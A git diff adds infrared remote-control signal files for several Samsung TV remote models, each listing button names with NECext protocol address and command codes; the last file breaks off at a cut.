b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir new file mode 100644 index 000000000..39194cd4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: Dashes +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: Ttx/Mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: TV/DTV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 43 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: Dma +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 63 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: Enter/OK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: ChList +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: W.Link +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8C 00 00 00 +# +name: E.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir new file mode 100644 index 000000000..b654fa312 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: PMode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: TTXMIX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: PSize +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: FastBackwards +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: DMA +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 63 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: ChList +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8B 00 00 00 +# +name: EMode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 94 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir new file mode 100644 index 000000000..bf98fc0f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: MTS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-Ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: Dash +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: P.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: S.Mode +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: ChanList +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir new file mode 100644 index 000000000..4f8b935cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-Ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: TTX/Mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: Ch.List +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: Content +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 79 00 00 00 +# +name: Media.P +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 8C 00 00 00 +# +name: Internet +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 93 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir new file mode 100644 index 000000000..3fe3e4b18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: TEXT-MIX +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: TOOLS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: ENTER-OK +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: CH_LIST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir new file mode 100644 index 000000000..aef48fe3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN_SOURCE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: BTN_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: BTN_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: BTN_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: BTN_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: BTN_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: BTN_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: BTN_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: BTN_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: BTN_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: BTN_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: BTN_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: BTN_CH- +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: BTN_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: BTN_CH+ +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: BTN_PRE_CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: BTN_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: BTN_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: BTN_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: BTN_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: BTN_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: BTN_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: BTN_MINUS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: BTN_CC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: BTN_PSIZE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: BTN_FAV_CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: BTN_TOOLS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: BTN_GUIDE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: BTN_RETURN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: BTN_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: BTN_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: BTN_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: BTN_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: BTN_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: BTN_CH_LIST +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: BTN_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir new file mode 100644 index 000000000..b4a05aef6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: Dual +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: 